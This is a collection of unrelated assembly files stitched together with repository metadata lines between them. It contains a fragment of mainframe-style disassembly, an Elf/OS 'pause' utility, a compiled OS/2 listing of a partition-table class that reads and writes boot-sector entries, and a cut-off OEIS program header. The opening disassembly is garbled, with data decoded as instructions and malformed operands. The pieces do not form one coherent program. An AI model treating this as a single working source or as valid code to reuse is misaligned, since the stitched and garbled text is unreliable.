15,X'41E'(,R15) 0F18: LR R1,R0 0F1A: SLL R1,X'0018' 0F1E: SRL R1,X'0018' 0F22: CVD 1,X'416'(,R15) 0F26: UNPK X'410'(2,R15),X'416'(8,R15) 0F2C: OI X'411'(R15),240 0F30: LA 1,X'40C'(,R15) 0F34: BC 15,X'3F4'(,R15) 0F38: MER R0,R0 0F3A: DC XL4'00010100' 0F3E: SVC R0,R5 0F40: LTR R0,R0 0F42: BC 4,X'400'(,R15) 0F46: BC 15,X'41E'(,R15) 0F4A: STC 0,X'407'(,R15) 0F4E: HPR X'0100',1 0F52: BC 15,X'404'(,R15) 0F56: S 0,X'961'(R4,R13) 0F5A: STH 4,X'0800' 0F5E: DC XL10'00000000000000000000' 0F68: LA 1,X'00FF'(R13) 0F6C: SRL R1,X'0008' 0F70: STH 1,X'084'(,R11) 0F74: STH 1,X'086'(,R11) 0F78: IC 2,X'03A'(,R11) 0F7C: LA 3,X'0003' 0F80: NR R2,R3 0F82: BC 8,X'45A'(,R15) 0F86: LA 3,X'0001' 0F8A: SLL R3,X'008'(,R2) 0F8E: SR R4,R4 0F90: SR R5,R5 0F92: LH 6,X'080'(,R11) 0F96: SLL R6,X'0008' 0F9A: SSK R4,R5 0F9C: AR R5,R3 0F9E: CR R5,R6 0FA0: BC 4,X'450'(,R15) 0FA4: LH 2,X'084'(,R11) 0FA8: SLL R2,X'0008' 0FAC: XC X'000'(16,R2),X'000'(R2) 0FB2: LH 3,X'080'(,R11) 0FB6: SLL R3,X'0008' 0FBA: SR R3,R2 0FBC: ST 3,X'00C'(,R2) 0FC0: MVI X'00C'(R2),128 0FC4: SRL R3,X'0008' 0FC8: STH 3,X'080'(,R11) 0FCC: SSM X'06E'(R11),0 0FD0: LA 1,X'0003'(R13) 0FD4: SRL R1,X'0002' 0FD8: SLL R1,X'0002' 0FDC: LH 2,X'084'(,R11) 0FE0: SLL R2,X'0008' 0FE4: L 3,X'4B2'(,R15) 0FE8: CR R1,R2 0FEA: BC 11,X'4B6'(,R15) 0FEE: ST 3,X'0000'(R1) 0FF2: LA 1,X'0004'(R1) 0FF6: BC 15,X'49E'(,R15)
37.348595
80
0.42756
ca4c118b6994cd7cb7b75b9639ec5ef1e1b996cb
4,990
asm
Assembly
src/io/pause.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
3
2021-04-23T20:37:58.000Z
2022-02-09T00:12:04.000Z
src/io/pause.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
11
2021-04-04T18:43:57.000Z
2022-02-08T23:33:13.000Z
src/io/pause.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
null
null
null
; ------------------------------------------------------------------- ; Display a prompt message and wait for input ; Copyright 2021 by Gaston Williams ; ------------------------------------------------------------------- ; Based on software written by Michael H Riley ; Thanks to the author for making this code available. ; Original author copyright notice: ; ******************************************************************* ; *** This software is copyright 2004 by Michael H Riley *** ; *** You have permission to use, modify, copy, and distribute *** ; *** this software so long as this copyright notice is retained. *** ; *** This software may not be used in commercial applications *** ; *** without express written permission from the author. *** ; ******************************************************************* #include ops.inc #include bios.inc #include kernel.inc ; ************************************************************ ; This block generates the Execution header ; It occurs 6 bytes before the program start. ; ************************************************************ org 02000h-6 ; Header starts at 01ffah dw 02000h ; Program load address dw endrom-2000h ; Program size dw 02000h ; Program execution address org 02000h ; Program code starts here br start ; Jump past build information ; Build date date: db 80H+12 ; Month, 80H offset means extended info db 2 ; Day dw 2021 ; Year ; Current build number build: dw 1 ; Must end with 0 (null) db 'Copyright 2021 Gaston Williams',0 start: LOAD rf, prompt ; set rf to default message chk_arg: lda ra ; process arguments smi ' ' bz chk_arg ; move past any spaces in argument dec ra ; move back to non-space character LDA ra ; check for nonzero byte bz wait4 ; jump to default input on /ef4 smi '-' ; check for argument switch lbnz bad_arg ; anything else is a bad argument ldn ra ; check for option 0 smi '0' ; to wait for input on serial data bz waits smi 1 ; check for option 1 ('1' - '0' = 1) bz wait1 ; to wait for input on /ef1 smi 1 ; check for option 2 ('2' - '1' = 1) bz wait2 ; to wait for input of /ef2 smi 1 ; check for option 3 ('3' - '2' = 1) bz wait3 ; to wait for input of /ef4 smi 1 ; check for option 4 ('4' - '3' = 1) bz wait4 ; to wait for input of /ef4 lbr bad_arg ; anything else is a bad argument waits: CALL O_MSG ; display prompt CALL O_INPUT ; wait here for serial input br goodbye ; exit wait1: CALL O_MSG ; display prompt bn1 $ ; wait here for input press on /ef1 br goodbye ; exit wait2: CALL O_MSG ; display prompt bn2 $ ; wait here for input press on /ef2 br goodbye ; exit wait3: CALL O_MSG ; display prompt bn3 $ ; wait here for input press on /ef3 br goodbye ; exit wait4: CALL O_MSG ; display prompt bn4 $ ; wait here for input press on /ef4 goodbye: RETURN ; return to Elf/OS bad_arg: LOAD rf, usage ; show usage text and exit CALL O_MSG LOAD rf, info1 CALL O_MSG LOAD rf, info2 CALL O_MSG LOAD rf, info3 CALL O_MSG LOAD rf, info4 CALL O_MSG lbr O_WRMBOOT ; return to Elf/OS prompt: db 'Press Input to continue...',0 usage: db 'Usage: pause [-0|-1|-2|-3|-4, default = -4]',13,10,0 info1: db 'Display a prompt message and wait for input.',13,10,0 info2: db 'Use option -1,-2,-3 or -4 to wait for /EFn line input.',13,10,0 info3: db 'Use option -0 to wait for serial input.',13,10,0 info4: db 'Waiting for input on the /EF4 line is the default.',13,10,0 ;------ define end of execution block endrom: equ $
44.159292
103
0.434068
aee7aea814d5702b0c883204135fdf0c84ada8f7
21,098
asm
Assembly
raid/Setup/list/PartTable.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
raid/Setup/list/PartTable.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
raid/Setup/list/PartTable.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
title PartTable.cpp .386 .387 includelib CPPOM30.LIB includelib OS2386.LIB CODE32 segment dword use32 public 'CODE' CODE32 ends DATA32 segment dword use32 public 'DATA' DATA32 ends CONST32_RO segment dword use32 public 'CONST' CONST32_RO ends BSS32 segment dword use32 public 'BSS' BSS32 ends EH_CODE segment dword use32 public 'CODE' EH_CODE ends CTOR_DTOR1 segment dword use32 public 'DATA' CTOR_DTOR1 ends CTOR_DTOR2 segment dword use32 public 'DATA' CTOR_DTOR2 ends CTOR_DTOR3 segment dword use32 public 'DATA' CTOR_DTOR3 ends EH_DATA segment para use32 public 'DATA' EH_DATA ends _VFT segment para use32 public 'DATA' _VFT ends DGROUP group BSS32, DATA32 assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT extrn Verbose:proc extrn queryIndex__8VOS2DiskFv:proc extrn __dl__FPv:proc extrn memset:proc extrn queryDPB__8VOS2DiskFv:proc CONST32_RO segment @CBE1 db "PartTable",0h align 04h @CBE2 db "disk %lu, sector %lu",0h align 04h @CBE3 db "can't read disk %lu, sec" db "tor %lu - rc %lu",0h align 04h @CBE4 db "clearing invalid partiti" db "on table (disk %lu, sect" db "or %lu)",0h @CBE5 db "can't write disk %lu, se" db "ctor %lu - rc %lu",0h align 04h @CBE6 db "delPE(disk %lu, table %l" db "u, type %#x, rel %lu, si" db "ze %lu)",0h @CBE7 db "addPE(disk %lu, table %l" db "u, type %#x, rel %lu, si" db "ze %lu)",0h @CBE8 db "addPE(disk %lu, table %l" db "u) - no free entry",0h align 04h @CBE9 db "addForeign(disk %lu, tab" db "le %lu, type %#x, start " db "%lu, size %lu)",0h align 04h @CBE10 db "addOwn(disk %lu, table %" db "lu, type %#x, start %lu," db " size %lu)",0h align 04h @CBE11 db "size adjusted to %lu",0h align 04h @1vcid db "$Id: parttable.cpp,v 1.4" db " 2000/04/10 01:33:40 vit" db "us Exp $",0h CONST32_RO ends CODE32 segment ; 440 PartTable::addOwn(UCHAR type,UCHAR bootable,ULONG start,ULONG size) public addOwn__9PartTableFUcT1UlT3 addOwn__9PartTableFUcT1UlT3 proc push ebp mov ebp,esp push ebx mov ebx,eax push edi mov [ebp+0ch],dl; type push esi movzx edx,dl sub esp,018h mov [ebp+010h],cl; bootable mov [ebp-020h],edx; @CBE14 mov [ebp+08h],ebx; this ; 442 Verbose(2,"PartTable","addOwn(disk %lu, table %lu, type %#x," mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebp+018h]; size mov edx,[ebp-020h]; @CBE14 push dword ptr [ebp+014h]; start mov edi,eax mov eax,edx push eax mov ecx,offset FLAT:@CBE10 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push edi mov eax,02h sub esp,0ch call Verbose mov eax,ebx add esp,020h ; 443 " start %lu, size %lu)", ; 444 disk->queryIndex(), secno, type, start, size); ; 445 ; 446 if( rderr != 0 ) cmp dword ptr [eax+0214h],0h je @BLBL54 ; 447 return FALSE; xor eax,eax add esp,018h pop esi pop edi pop ebx pop ebp ret @BLBL54: ; 448 ; 449 /* Normalize ending point to last sector of cylinder! ; 450 * .start is already correct. xxx */ ; 451 ; 452 DEVICEPARAMETERBLOCK dpb = disk->queryDPB(); mov eax,[ebp+08h]; this lea edi,[ebp-01ch]; dpb mov eax,[eax] call queryDPB__8VOS2DiskFv mov esi,eax mov ecx,04h ; 453 ULONG const cylsize = dpb.cHeads * dpb.cSectorsPerTrack; ; 454 ULONG end = size + start; ; 455 ; 456 if( (end % cylsize) != 0 ) xor edx,edx ; 452 DEVICEPARAMETERBLOCK dpb = disk->queryDPB(); rep movsd ; 456 if( (end % cylsize) != 0 ) movzx ebx,word ptr [ebp-016h]; dpb movzx ecx,word ptr [ebp-018h]; dpb imul ecx,ebx mov ebx,[ebp+014h]; start mov eax,[ebp+018h]; size add eax,ebx div ecx test edx,edx je @BLBL55 ; 460 Verbose(2, "PartTable", "size adjusted to %lu", end - start); imul eax,ecx sub eax,ebx push eax ; 461 size = end - start; mov [ebp+018h],eax; size ; 460 Verbose(2, "PartTable", "size adjusted to %lu", end - start); sub esp,0ch mov ecx,offset FLAT:@CBE11 mov edx,offset FLAT:@CBE1 mov eax,02h call Verbose add esp,010h ; 462 } @BLBL55: ; 463 return addForeign(type, bootable, start, size); mov cl,[ebp+010h]; bootable add esp,018h mov dl,[ebp+0ch]; type pop esi mov eax,[ebp+08h]; this pop edi pop ebx pop ebp jmp addForeign__9PartTableFUcT1UlT3 addOwn__9PartTableFUcT1UlT3 endp ; 355 PartTable::addForeign(UCHAR type,UCHAR bootable,ULONG start,ULONG size) public addForeign__9PartTableFUcT1UlT3 addForeign__9PartTableFUcT1UlT3 proc push ebp mov ebp,esp push ebx mov ebx,eax push edi mov [ebp+0ch],dl; type push esi movzx edx,dl sub esp,038h mov [ebp+010h],cl; bootable mov [ebp-03ch],edx; @CBE15 mov [ebp+08h],ebx; this ; 357 Verbose(2,"PartTable","addForeign(disk %lu, table %lu, type %#x," mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebp+018h]; size mov edx,[ebp-03ch]; @CBE15 push dword ptr [ebp+014h]; start mov edi,eax mov eax,edx push eax mov ecx,offset FLAT:@CBE9 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push edi mov eax,02h sub esp,0ch call Verbose mov eax,ebx add esp,020h ; 361 if( rderr != 0 ) cmp dword ptr [eax+0214h],0h je @BLBL45 ; 362 return FALSE; xor eax,eax add esp,038h pop esi pop edi pop ebx pop ebp ret @BLBL45: ; 364 DEVICEPARAMETERBLOCK dpb = disk->queryDPB(); mov eax,[ebp+08h]; this lea edi,[ebp-038h]; dpb mov eax,[eax] call queryDPB__8VOS2DiskFv mov esi,eax mov ecx,04h rep movsd ; 373 pe.BootIndicator = bootable; mov dl,[ebp+010h]; bootable mov [ebp-028h],dl; pe ; 375 cyl = (USHORT)(start / cylsize); mov edx,[ebp+014h]; start mov eax,edx xor edx,edx ; 365 USHORT const spt = dpb.cSectorsPerTrack; mov si,[ebp-032h]; dpb ; 366 ULONG const cylsize = dpb.cHeads * spt; mov di,[ebp-034h]; dpb movzx ebx,di movzx ecx,si imul ecx,ebx ; 375 cyl = (USHORT)(start / cylsize); div ecx ; 366 ULONG const cylsize = dpb.cHeads * spt; mov [ebp-010h],ecx; cylsize ; 375 cyl = (USHORT)(start / cylsize); mov ecx,[ebp+014h]; start xchg ecx,eax xor edx,edx ; 365 USHORT const spt = dpb.cSectorsPerTrack; mov [ebp-014h],si; spt ; 376 sc = (start % spt) + 1; movzx esi,si div esi ; 377 hd = (start / spt) % dpb.cHeads; movzx edi,di ; 376 sc = (start % spt) + 1; inc edx mov [ebp-015h],dl; sc xor edx,edx ; 375 cyl = (USHORT)(start / cylsize); mov [ebp-012h],cx; cyl ; 377 hd = (start / spt) % dpb.cHeads; div edi mov [ebp-016h],dl; hd ; 378 if( cyl >= 1024 ) cmp cx,0400h jb @BLBL46 ; 380 pe.BegHead = dpb.cHeads - 1; dec ebx mov [ebp-027h],bl; pe ; 381 pe.BegSector = 0xE0; mov byte ptr [ebp-026h],0e0h; pe ; 382 pe.BegCylinder = 0xFF; /* Cylinder 1023, Sector 0 */ mov byte ptr [ebp-025h],0ffh; pe ; 383 } jmp @BLBL47 @BLBL46: ; 386 pe.BegHead = hd; mov al,[ebp-016h]; hd ; 387 pe.BegSector = (UCH ; 387 AR)((HIUCHAR(cyl) << 6) | sc); mov bx,[ebp-012h]; cyl ; 386 pe.BegHead = hd; mov [ebp-027h],al; pe ; 387 pe.BegSector = (UCH ; 387 AR)((HIUCHAR(cyl) << 6) | sc); movzx eax,bx sar eax,08h and eax,0ffh sal al,06h or al,[ebp-015h]; sc ; 388 pe.BegCylinder = LOUCHAR(cyl); mov [ebp-025h],bl; pe ; 387 pe.BegSector = (UCH ; 387 AR)((HIUCHAR(cyl) << 6) | sc); mov [ebp-026h],al; pe ; 389 } @BLBL47: ; 394 cyl = (USHORT)(last / cylsize); mov ecx,[ebp+018h]; size add ecx,[ebp+014h]; start dec ecx mov eax,ecx xor edx,edx ; 391 pe.SysIndicator = type; mov bl,[ebp+0ch]; type ; 394 cyl = (USHORT)(last / cylsize); div dword ptr [ebp-010h]; cylsize ; 391 pe.SysIndicator = type; mov [ebp-024h],bl; pe ; 394 cyl = (USHORT)(last / cylsize); xchg ecx,eax ; 395 sc = (last % spt) + 1; xor edx,edx movzx ebx,word ptr [ebp-014h]; spt div ebx ; 396 hd = (last / spt) % dpb.cHeads; mov bx,[ebp-034h]; dpb ; 395 sc = (last % spt) + 1; inc edx mov [ebp-015h],dl; sc ; 396 hd = (last / spt) % dpb.cHeads; xor edx,edx movzx edi,bx div edi ; 394 cyl = (USHORT)(last / cylsize); mov [ebp-012h],cx; cyl ; 396 hd = (last / spt) % dpb.cHeads; mov [ebp-016h],dl; hd ; 397 if( cyl >= 1024 ) cmp cx,0400h jb @BLBL48 ; 400 pe.EndSector = 0xE0; mov byte ptr [ebp-022h],0e0h; pe ; 399 pe.EndHead = dpb.cHeads - 1; movzx ebx,bx dec ebx mov [ebp-023h],bl; pe ; 401 pe.EndCylinder = 0xFF; /* Cylinder 1023, Sector 0 */ mov byte ptr [ebp-021h],0ffh; pe ; 402 } jmp @BLBL49 @BLBL48: ; 405 pe.EndHead = hd; mov al,[ebp-016h]; hd ; 406 pe.EndSector = (UCHAR)((HIUCHAR(cyl) << 6) | sc); mov bx,[ebp-012h]; cyl ; 405 pe.EndHead = hd; mov [ebp-023h],al; pe ; 406 pe.EndSector = (UCHAR)((HIUCHAR(cyl) << 6) | sc); movzx eax,bx sar eax,08h and eax,0ffh sal al,06h or al,[ebp-015h]; sc ; 407 pe.EndCylinder = LOUCHAR(cyl); mov [ebp-021h],bl; pe ; 406 pe.EndSector = (UCHAR)((HIUCHAR(cyl) << 6) | sc); mov [ebp-022h],al; pe ; 408 } @BLBL49: ; 409 if( type == EXTENDED_PARTTYPE ) cmp byte ptr [ebp+0ch],05h; type jne @BLBL50 ; 410 pe.RelativeSectors = start - extstart; /* extended refer to the first */ mov ebx,[ebp+08h]; this mov eax,[ebp+014h]; start sub eax,[ebx+08h] mov [ebp-020h],eax; pe jmp @BLBL51 @BLBL50: ; 412 pe.RelativeSectors = start - secno; mov ebx,[ebp+08h]; this mov eax,[ebp+014h]; start sub eax,[ebx+04h] mov [ebp-020h],eax; pe @BLBL51: ; 413 pe.NumSectors = size; mov ebx,[ebp+018h]; size ; 415 return addPE(pe); mov eax,[ebp+08h]; this ; 413 pe.NumSectors = size; mov [ebp-01ch],ebx; pe ; 415 return addPE(pe); lea edx,[ebp-028h]; pe call addPE__9PartTableFRC15_PARTITIONENTRY add esp,038h pop esi pop edi pop ebx pop ebp ret addForeign__9PartTableFUcT1UlT3 endp ; 306 PartTable::addPE(PARTITIONENTRY const &partentry) public addPE__9PartTableFRC15_PARTITIONENTRY addPE__9PartTableFRC15_PARTITIONENTRY proc push ebp mov ebp,esp push ebx mov ebx,eax push edi mov edi,edx push esi mov [ebp+0ch],edi; partentry sub esp,0ch mov [ebp+08h],ebx; this ; 308 Verbose(2,"PartTable","addPE(disk %lu, table %lu, type %#x, rel %lu, size %lu)", mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [edi+0ch] movzx edx,byte ptr [edi+04h] push dword ptr [edi+08h] mov edi,eax push edx mov ecx,offset FLAT:@CBE7 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push edi mov eax,02h sub esp,0ch call Verbose mov eax,ebx add esp,020h ; 313 if( rderr != 0 ) cmp dword ptr [eax+0214h],0h je @BLBL35 ; 314 return FALSE; xor eax,eax add esp,0ch pop esi pop edi pop ebx pop ebp ret @BLBL35: ; 317 for( int i = 0; i < 4; ++i ) mov esi,[ebp+08h]; this ; 316 int free = -1; mov dword ptr [ebp-010h],0ffffffffh; free ; 317 for( int i = 0; i < 4; ++i ) mov dword ptr [ebp-014h],0h; i xor edi,edi xor ecx,ecx @BLBL37: ; 318 if( bootrecord.PartitionTable[i].SysIndicator == 0 ) cmp byte ptr [esi+ecx+01ceh],0h jne @BLBL40 ; 320 free = i; mov [ebp-010h],edi; free ; 321 break; jmp @BLBL36 @BLBL40: ; 317 for( int i = 0; i < 4; ++i ) inc edi add ecx,010h cmp edi,04h jl @BLBL37 @BLBL36: mov [ebp-014h],edi; i ; 323 if( free == -1 ) cmp dword ptr [ebp-010h],0ffffffffh; free jne @BLBL42 ; 325 Verbose(1, "PartTable", "addPE(disk %lu, table %lu) - no free entry", mov ebx,[ebp+08h]; this mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebx+04h] mov ecx,offset FLAT:@CBE8 push eax mov edx,offset FLAT:@CBE1 sub esp,0ch mov eax,01h call Verbose add esp,014h ; 327 return FALSE; /* scanning assured a free entry? */ add esp,0ch xor eax,eax pop esi pop edi pop ebx pop ebp ret @BLBL42: ; 330 bootrecord.PartitionTable[i] = partentry; mov edi,[ebp-014h]; i mov ebx,[ebp+08h]; this sal edi,04h add edi,ebx mov esi,[ebp+0ch]; partentry add edi,01cah mov ecx,04h ; 332 return TRUE; mov eax,01h ; 330 bootrecord.PartitionTable[i] = partentry; rep movsd ; 331 modified = TRUE; mov dword ptr [ebx+020ch],01h ; 332 return TRUE; add esp,0ch pop esi pop edi pop ebx pop ebp ret addPE__9PartTableFRC15_PARTITIONENTRY endp ; 263 PartTable::delPE(PPARTITIONENTRY partentry) public delPE__9PartTableFP15_PARTITIONENTRY delPE__9PartTableFP15_PARTITIONENTRY proc push ebx mov ebx,eax push edi mov edi,edx push esi sub esp,010h mov [esp+024h],edi; partentry mov [esp+020h],ebx; this ; 265 Verbose(2,"PartTable","delPE(disk %lu, table %lu, type %#x, rel %lu, size %lu)", mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [edi+0ch] movzx edx,byte ptr [edi+04h] push dword ptr [edi+08h] mov edi,eax push edx mov ecx,offset FLAT:@CBE6 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push edi mov eax,02h sub esp,0ch call Verbose mov eax,ebx add esp,020h ; 270 if( rderr != 0 ) cmp dword ptr [eax+0214h],0h je @BLBL26 ; 271 return FALSE; xor eax,eax add esp,010h pop esi pop edi pop ebx ret @BLBL26: ; 274 for( int i = 0; i < 4; ++i ) xor esi,esi mov ecx,[esp+024h]; partentry mov ebx,[esp+020h]; this ; 273 BOOL done = FALSE; mov dword ptr [esp+0ch],0h; done ; 274 for( int i = 0; i < 4; ++i ) xor edi,edi @BLBL28: ; 276 if( partentry == &bootrecord.PartitionTable[i] ) lea eax,dword ptr [ebx+edi+01cah] cmp eax,ecx jne @BLBL31 ; 278 memset(&bootrecord.PartitionTable[i], 0, sizeof(*partentry)); xor edx,edx mov ecx,010h call memset mov ecx,[esp+024h]; partentry ; 279 modified = TRUE; mov dword ptr [ebx+020ch],01h ; 280 done = TRUE; mov dword ptr [esp+0ch],01h; done ; 281 break; jmp @BLBL27 @BLBL31: ; 274 for( int i = 0; i < 4; ++i ) inc esi add edi,010h cmp esi,04h jl @BLBL28 @BLBL27: ; 284 return done; mov eax,[esp+0ch]; done add esp,010h pop esi pop edi pop ebx ret delPE__9PartTableFP15_PARTITIONENTRY endp ; 143 PartTable::clear(void) public clear__9PartTableFv clear__9PartTableFv proc push ebx sub esp,0ch ; 145 if( rderr != 0 ) cmp dword ptr [eax+0214h],0h je @BLBL12 ; 146 return; add esp,0ch pop ebx ret @BLBL12: mov ebx,eax ; 148 memset(&bootrecord, 0, sizeof(bootrecord)); mov ecx,0200h lea eax,[ebx+0ch] xor edx,edx call memset mov eax,ebx ; 149 bootrecord.Signature = 0xAA55; mov word ptr [eax+020ah],0aa55h ; 150 valid = FALSE; /* only write if modified */ mov dword ptr [eax+0210h],0h ; 151 } add esp,0ch pop ebx ret clear__9PartTableFv endp ; 221 PartTable::flush() public flush__9PartTableFv flush__9PartTableFv proc push ebx push edi push esi sub esp,08h ; 223 if( rderr != 0 ) mov edx,[eax+0214h] test edx,edx je @BLBL20 mov eax,edx ; 224 return rderr; /* don't write if not read! */ add esp,08h pop esi pop edi pop ebx ret @BLBL20: ; 225 ; 226 APIRET rc = 0; mov dword ptr [esp+04h],0h; rc ; 227 if( modified ) cmp dword ptr [eax+020ch],0h je @BLBL21 mov edi,eax ; 228 { ; 229 rc = disk->write(secno, 1, &bootrecord); mov ecx,01h mov eax,[edi] lea ebx,[edi+0ch] push ebx mov ebx,[eax] sub esp,0ch mov esi,[ebx+024h] mov edx,[edi+04h] add eax,esi call dword ptr [ebx+020h] add esp,010h xchg edi,eax mov [esp+04h],edi; rc ; 230 if( rc != 0 ) test edi,edi je @BLBL22 mov ebx,eax ; 231 { ; 232 Verbose(1, "PartTable", "can't write disk %lu, sector %lu - rc %lu", mov eax,[ebx] call queryIndex__8VOS2DiskFv push edi mov ecx,offset FLAT:@CBE5 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push eax mov eax,01h sub esp,0ch call Verbose mov eax,ebx add esp,018h ; 233 disk->queryIndex(), secno, rc); ; 234 } jmp @BLBL21 @BLBL22: ; 235 else ; 236 { ; 237 modified = FALSE; mov dword ptr [eax+020ch],0h ; 238 valid = TRUE; mov dword ptr [eax+0210h],01h ; 239 } ; 240 } @BLBL21: ; 241 return rc; mov eax,[esp+04h]; rc add esp,08h pop esi pop edi pop ebx ret flush__9PartTableFv endp ; 134 PartTable::~PartTable() public __dt__9PartTableFv __dt__9PartTableFv proc push ebx mov ebx,eax sub esp,08h mov [esp+04h],edx; @CBE18 ; 136 flush(); call flush__9PartTableFv mov edx,[esp+04h]; @CBE18 mov eax,ebx ; 137 } test dl,01h je @BLBL9 call __dl__FPv mov eax,ebx @BLBL9: add esp,08h pop ebx ret __dt__9PartTableFv endp ; 99 PartTable::PartTable(VOS2Disk * d,ULONG n,ULONG first_extended_start) public __ct__9PartTableFP8VOS2DiskUlT2 __ct__9PartTableFP8VOS2DiskUlT2 proc push ebx mov ebx,eax sub esp,04h ; 101 disk = d; mov [ebx],edx ; 102 secno = n; mov [ebx+04h],ecx ; 103 rderr = 0; mov dword ptr [ebx+0214h],0h ; 104 modified = FALSE; mov dword ptr [ebx+020ch],0h ; 105 valid = TRUE; mov dword ptr [ebx+0210h],01h ; 106 extstart = first_extended_start; mov eax,[esp+018h]; first_extended_start mov [ebx+08h],eax ; 109 entry = bootrecord.PartitionTable; lea eax,[ebx+01cah] mov [ebx+0218h],eax ; 111 Verbose(2, "PartTable", "disk %lu, sector %lu", disk->queryIndex(), secno); mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebx+04h] mov ecx,offset FLAT:@CBE2 push eax mov edx,offset FLAT:@CBE1 sub esp,0ch mov eax,02h call Verbose ; 113 readRecord(); mov eax,ebx call readRecord__9PartTableFv ; 115 return; add esp,018h ; 113 readRecord(); mov eax,ebx ; 115 return; pop ebx ret __ct__9PartTableFP8VOS2DiskUlT2 endp ; 171 PartTable::readRecord(void) public readRecord__9PartTableFv readRecord__9PartTableFv proc push ebx mov ebx,eax push edi push esi sub esp,01ch mov [esp+02ch],ebx; this ; 173 DEVICEPARAMETERBLOCK dpb = disk->queryDPB(); mov eax,[ebx] call queryDPB__8VOS2DiskFv lea edi,[esp+0ch]; dpb mov esi,eax mov ecx,04h rep movsd ; 174 USHORT const spt = dpb.cSectorsPerTrack; ; 175 ULONG const cylsize = dpb.cHeads * spt; ; 176 ; 177 if( (secno % cylsize) != 0 ) movzx edx,word ptr [esp+012h]; dpb movzx ecx,word ptr [esp+010h]; dpb imul ecx,edx mov eax,[ebx+04h] xor edx,edx div ecx test edx,edx je @BLBL15 ; 178 { ; 179 secno /= cylsize; mov [ebx+04h],eax ; 180 secno *= cylsize; imul eax,ecx mov [ebx+04h],eax ; 181 } @BLBL15: ; 182 ; 183 rderr = disk->read(secno, 1, &bootrecord); mov ebx,[esp+02ch]; this mov eax,[ebx] lea ecx,[ebx+0ch] push ecx mov edi,[eax] sub esp,0ch mov esi,[edi+01ch] mov edx,[ebx+04h] mov ecx,01h add eax,esi call dword ptr [edi+018h] add esp,010h mov [ebx+0214h],eax ; 184 if( rderr != 0 ) test eax,eax je @BLBL16 ; 185 { ; 186 /* 'rderr' is now /0, the disk will never be written to. */ ; 187 ; 188 Verbose(1, "PartTable", "can't read disk %lu, sector %lu - rc %lu", mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebx+0214h] mov ecx,offset FLAT:@CBE3 push dword ptr [ebx+04h] mov edx,offset FLAT:@CBE1 push eax mov eax,01h sub esp,0ch call Verbose add esp,018h ; 189 disk->queryIndex(), secno, rderr); ; 190 } @BLBL16: ; 191 ; 192 if( bootrecord.Signature != 0xAA55 ) mov ebx,[esp+02ch]; this cmp word ptr [ebx+020ah],0aa55h je @BLBL17 ; 193 { ; 194 Verbose(1, "PartTable", mov eax,[ebx] call queryIndex__8VOS2DiskFv push dword ptr [ebx+04h] mov ecx,offset FLAT:@CBE4 push eax mov edx,offset FLAT:@CBE1 sub esp,0ch mov eax,01h call Verbose ; 195 "clearing invalid partition table (disk %lu, sector %lu)", ; 196 disk->queryIndex(), secno); ; 197 memset(&bootrecord, 0, sizeof(bootrecord)); mov ecx,0200h xor edx,edx lea eax,[ebx+0ch] call memset add esp,014h ; 198 bootrecord.Signature = 0xAA55; mov word ptr [ebx+020ah],0aa55h ; 199 valid = FALSE; /* only write if modified */ mov dword ptr [ebx+0210h],0h ; 200 } @BLBL17: ; 201 } add esp,01ch pop esi pop edi pop ebx ret readRecord__9PartTableFv endp ; 63 PartTable::PartTable(VOS2Disk * d,ULONG n,Boolean rd) public __ct__9PartTableFP8VOS2DiskUl7Boolean __ct__9PartTableFP8VOS2DiskUl7Boolean proc push ebx mov ebx,ecx xchg ebx,eax sub esp,04h ; 72 entry = bootrecord.PartitionTable; lea ecx,[ebx+01cah] ; 63 PartTable::PartTable(VOS2Disk * d,ULONG n,Boolean rd) mov [esp+0ch],ebx; this ; 65 disk = d; mov [ebx],edx ; 66 secno = n; mov [ebx+04h],eax ; 74 Verbose(2, "PartTable", "disk %lu, sector %lu", disk->queryIndex(), secno); mov eax,[ebx] ; 67 rderr = 0; mov dword ptr [ebx+0214h],0h ; 68 modified = FALSE; mov dword ptr [ebx+020ch],0h ; 69 valid = TRUE; mov dword ptr [ebx+0210h],01h ; 70 extstart = 0; /* not an extended partition */ mov dword ptr [ebx+08h],0h ; 72 entry = bootrecord.PartitionTable; mov [ebx+0218h],ecx ; 74 Verbose(2, "PartTable", "disk %lu, sector %lu", disk->queryIndex(), secno); call queryIndex__8VOS2DiskFv push dword ptr [ebx+04h] mov ecx,offset FLAT:@CBE2 push eax mov edx,offset FLAT:@CBE1 sub esp,0ch mov eax,02h call Verbose ; 76 readRecord(); mov eax,ebx call readRecord__9PartTableFv add esp,014h mov eax,ebx ; 77 if( rd == true ) cmp byte ptr [esp+018h],01h; rd jne @BLBL3 ; 78 rderr = 0xFFFF; /* any error will inhibit writing */ mov dword ptr [eax+0214h],0ffffh @BLBL3: ; 79 return; mov eax,[esp+0ch]; this add esp,04h pop ebx ret __ct__9PartTableFP8VOS2DiskUl7Boolean endp CODE32 ends end
19.093213
90
0.662006
dfc14ef3445d4f90378d50acc605a141b05a9c3d
735
asm
Assembly
oeis/231/A231670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/231/A231670.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
